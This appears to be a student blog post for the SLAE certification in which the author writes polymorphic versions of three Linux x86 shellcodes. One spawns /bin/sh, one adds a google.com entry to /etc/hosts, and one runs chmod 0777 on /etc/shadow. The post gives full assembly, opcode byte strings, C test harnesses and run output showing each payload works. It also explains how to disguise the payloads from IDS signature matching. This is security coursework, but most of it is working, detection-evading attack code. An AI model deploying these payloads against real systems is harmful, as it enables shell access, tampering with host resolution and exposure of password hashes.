Assignment 7 of the SLAE series consists in writing polymorphic versions of three shellcode samples from shell-storm.org. Before doing that, let’s take a look at what is polymorphism and why it matters.
Simple shellcode is easy to fingerprint. You just need to do some basic pattern matching and build a database of known attack signatures. For example, most shellcodes that do an execve
call to execute /bin/sh
will have certain patterns that can be searched for, regardless of the differences in the rest of the code.
An IDS monitoring network traffic can detect and deny packets containing known signatures that don’t look like regular traffic on that port. e.g: it’s not common for an SMTP packet to contain a gigantic NOP-sled and the /bin/sh
string.
One could think that a solution to this problem is to use custom encoding schemes as described in assignment 4. However, the decoder stub is prone to being fingerprinted as well, so it doesn’t always help.
Polymorphism is a method to defeat pattern matching. The idea is to make the shellcode look different but keep the intended functionality intact. To do this, we can use semantically equivalent instructions that preserve the functionality but make the resulting code have a different appearance.
Ideally, we would be able to create shellcode that looks different every time we want to use it. There are polymorphic engines to that end, such as ADMutate and CLET.
For the purpose of this assignment, we’ll work on creating only one polymorphic version of each selected shellcode.
There are several things that can be done to achieve this. Some examples are:
- Add garbage instructions that don’t change the functionality (NOP equivalents).
- Use different / random registers.
- Rearrange instructions randomly when possible. Switch code around if the registers do not depend on each other.
- Operate on
esp
directly instead of usingpush
/pop
instructions. - Avoid writing well known hex encoded strings.
- Use less known / more obscure instructions.
The guidelines for this assignment state that the resulting code cannot be larger than 1.5 times the original size.
The first shellcode from shell-storm.org will be a simple execve
shell-spawning shellcode.
/*
Title: Linux x86 execve("/bin/sh") - 28 bytes
Author: Jean Pascal Pereira <pereira@secbiz.de>
Web: http://0xffe4.org
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 89 c1 mov %eax,%ecx
8048071: 89 c2 mov %eax,%edx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
8048077: 31 c0 xor %eax,%eax
8048079: 40 inc %eax
804807a: cd 80 int $0x80
*/
#include <stdio.h>
#include <strlen.h>
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
int main()
{
fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}
Let’s make sure it works first.
maxi@ubuntu:~$ gcc -o shellcode shellcode.c -z execstack
maxi@ubuntu:~$ ./shellcode
Lenght: 28
$
The polymorphic version I came up with is 40 bytes long, which is 2 bytes under the limit for the assignment.
The main differences are:
- Mask the
/bin/sh
string by doing arithmetic operations instead of pushing the hex values into the stack directly. - Use different registers than the original code where possible.
- Reorder instructions. Don’t initialize the registers in the same order before calling
execve
. - Introduce some unnecessary steps. e.g:
push byte 0x1; pop esi; xchg esi,eax
instead of popping toeax
after the firstint 0x80
instruction is executed.
global _start
section .text
_start:
xor edx, edx
push edx
mov eax, 0x563ED8B7
add eax, 0x12345678
push eax
mov eax, 0xDEADC0DE
sub eax, 0x70445EAF
push eax
push byte 0xb
pop eax
mov ecx, edx
mov ebx, esp
push byte 0x1
pop esi
int 0x80
xchg esi, eax
int 0x80
Let’s put the opcodes side to side to double check that they do indeed look different.
char original[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
char poly[] = "\x31\xd2\x52\xb8\xb7\xd8\x3e"
"\x56\x05\x78\x56\x34\x12\x50"
"\xb8\xde\xc0\xad\xde\x2d\xaf"
"\x5e\x44\x70\x50\x6a\x0b\x58"
"\x89\xd1\x89\xe3\x6a\x01\x5e"
"\xcd\x80\x96\xcd\x80";
The second shellcode from shell-storm.org will be this one. It adds an entry to the /etc/hosts
file so google.com
resolves to 127.1.1.1
.
;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1
;author Javier Tejedor
;date 24/09/2014
global _start
section .text
_start:
xor ecx, ecx
mul ecx
mov al, 0x5
push ecx
push 0x7374736f ;/etc///hosts
push 0x682f2f2f
push 0x6374652f
mov ebx, esp
mov cx, 0x401 ;permissions
int 0x80 ;syscall to open file
xchg eax, ebx
push 0x4
pop eax
jmp short _load_data ;jmp-call-pop technique to load the map
_write:
pop ecx
push 20 ;length of the string
pop edx
int 0x80 ;syscall to write in the file
push 0x6
pop eax
int 0x80 ;syscall to close the file
push 0x1
pop eax
int 0x80 ;syscall to exit
_load_data:
call _write
google db "127.1.1.1 google.com"
My polymorphic version is 98 bytes long, which is a 27% increase from the original shellcode.
global _start
section .text
_start:
push byte 0x4
pop eax
inc eax
sub edx, edx
push edx
mov ecx, 0x88998899
sub ecx, 0x1525152A
push ecx
sub ecx, 0x0B454440
push ecx
sub ecx, 0x04BACA01
inc ecx
push ecx
sub ecx, 0x6374612E
mov ebx, esp
int 0x80
xchg eax, ebx
jmp short _load_data
_write:
pop eax
xchg eax, ecx
push byte 0x3
pop esi
mov eax, esi
inc eax
push len
pop edx
int 0x80
inc esi
inc esi
inc esi
xchg eax, esi
int 0x80
inc eax
int 0x80
_load_data:
call _write
google: db "127.1.1.1 google.com"
len: equ $-google
_random:
cld
xor esi,esi
cld
Let’s review the changes applied to the original shellcode.
- Change the header. Don’t do
xor ecx,ecx
. - Don’t load the syscall identifiers directly, but
push
/pop
intoeax
and then increment or decrement as needed. - Use different registers. Introduce
esi
and change the way in whichedx
is zeroed out. - Exploit the fact that
0x7374736f > 0x682f2f2f > 0x6374652f
. We start with a larger value (0x88998899
), then subtract and push as needed. Since we are usingecx
to do the arithmetic operations, the finalsub
instruction makes sureecx
is set to0x401
, which corresponds to the desired permissions value. eax
will be set to 0 if theclose
syscall is successful, so we can justinc eax
to callexit
.- Add garbage instructions after the string is defined to modify the end of the shellcode.
#include <stdio.h>
#include <string.h>
unsigned char code[] =
"\x6a\x04\x58\x40\x29\xd2\x52\xb9\x99\x88\x99\x88\x81\xe9\x2a\x15\x25\x15"
"\x51\x81\xe9\x40\x44\x45\x0b\x51\x81\xe9\x01\xca\xba\x04\x41\x51\x81\xe9"
"\x2e\x61\x74\x63\x89\xe3\xcd\x80\x93\xeb\x16\x58\x91\x6a\x03\x5e\x89\xf0"
"\x40\x6a\x14\x5a\xcd\x80\x46\x46\x46\x96\xcd\x80\x40\xcd\x80\xe8\xe5\xff"
"\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65"
"\x2e\x63\x6f\x6d\xfc\x31\xf6\xfc";
int main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Let’s compile and run the shellcode.
$ gcc -o shellcode shellcode.c -z execstack
$ sudo -s
# ./shellcode
# tail -1 /etc/hosts
127.1.1.1 google.com
The last shellcode executes chmod 0777 /etc/shadow
. It can be obtained from here.
*****************************************************
* Linux/x86 execve-chmod 0777 /etc/shadow 57 bytes *
*****************************************************
* Author: Hamza Megahed *
*****************************************************
* Twitter: @Hamza_Mega *
*****************************************************
* blog: hamza-mega[dot]blogspot[dot]com *
*****************************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com *
*****************************************************
xor %eax,%eax
push %eax
pushl $0x776f6461
pushl $0x68732f2f
pushl $0x6374652f
movl %esp,%esi
push %eax
pushl $0x37373730
movl %esp,%ebp
push %eax
pushl $0x646f6d68
pushl $0x632f6e69
pushl $0x622f2f2f
mov %esp,%ebx
pushl %eax
pushl %esi
pushl %ebp
pushl %ebx
movl %esp,%ecx
mov %eax,%edx
mov $0xb,%al
int $0x80
As a first step, we can decode the hex values in the push
instructions to understand what the code is doing.
>>> "776f646168732f2f6374652f".decode("hex")
'wodahs//cte/'
>>> "37373730".decode("hex")
'7770'
>>> "646f6d68632f6e69622f2f2f".decode("hex")
'domhc/nib///'
We know that 0xb
is the identifier for execve
, so the code is using execve
to execute /bin/chmod 0777 /etc/shadow
. The extra slashes are added so the length is multiple of 4 bytes.
Let’s follow the steps we did to convert the previous shellcodes, but add some jumps in between to alter the flow. The size limit for this shellcode is 85 bytes.
global _start
section .text
_start:
sub edx, edx
push edx
mov eax, 0xb33fb33f
sub eax, 0x3bd04ede
push eax
jmp short two
end:
int 0x80
four:
push edx
push esi
push ebp
push ebx
mov ecx, esp
push byte 0xc
pop eax
dec eax
jmp short end
three:
push edx
sub eax, 0x2c3d2dff
push eax
mov ebp, esp
push edx
add eax, 0x2d383638
push eax
sub eax, 0x013ffeff
push eax
sub eax, 0x3217d6d2
add eax, 0x31179798
push eax
mov ebx, esp
jmp short four
two:
sub eax, 0x0efc3532
push eax
sub eax, 0x04feca01
inc eax
push eax
mov esi, esp
jmp short three
The resulting shellcode is 84 bytes long. The reordering and jumps create a very different appearance.
#include <stdio.h>
#include <string.h>
unsigned char code[] =
"\x29\xd2\x52\xb8\x3f\xb3\x3f\xb3\x2d\xde\x4e\xd0\x3b\x50\xeb\x33\xcd\x80"
"\x52\x56\x55\x53\x89\xe1\x6a\x0c\x58\x48\xeb\xf2\x52\x2d\xff\x2d\x3d\x2c"
"\x50\x89\xe5\x52\x05\x38\x36\x38\x2d\x50\x2d\xff\xfe\x3f\x01\x50\x2d\xd2"
"\xd6\x17\x32\x05\x98\x97\x17\x31\x50\x89\xe3\xeb\xcf\x2d\x32\x35\xfc\x0e"
"\x50\x2d\x01\xca\xfe\x04\x40\x50\x89\xe6\xeb\xca";
int main() {
printf("Shellcode Length: %d\n, strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Let’s compile and run it to verify that it works.
$ gcc -o shellcode shellcode.c -z execstack
$ sudo -s
# ls -l /etc/shadow
-rw-r—— 1 root shadow 1062 Mar 4 16:57 /etc/shadow
# ./shellcode
Shellcode Length: 84
# ls -l /etc/shadow
-rwxrwxrwx 1 root shadow 1062 Mar 4 16:57 /etc/shadow
Cool additional resources:
- Polymorphic Shellcode Engine Using Spectrum Analysis
- Detecting CLET’s /bin/sh shellcode with Haka
- Polymorphic Shellcode at a Glance (Toorcon San Diego, 2006). Slides available on the author’s site.
You can find the code for this assignment on my Github repository.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-651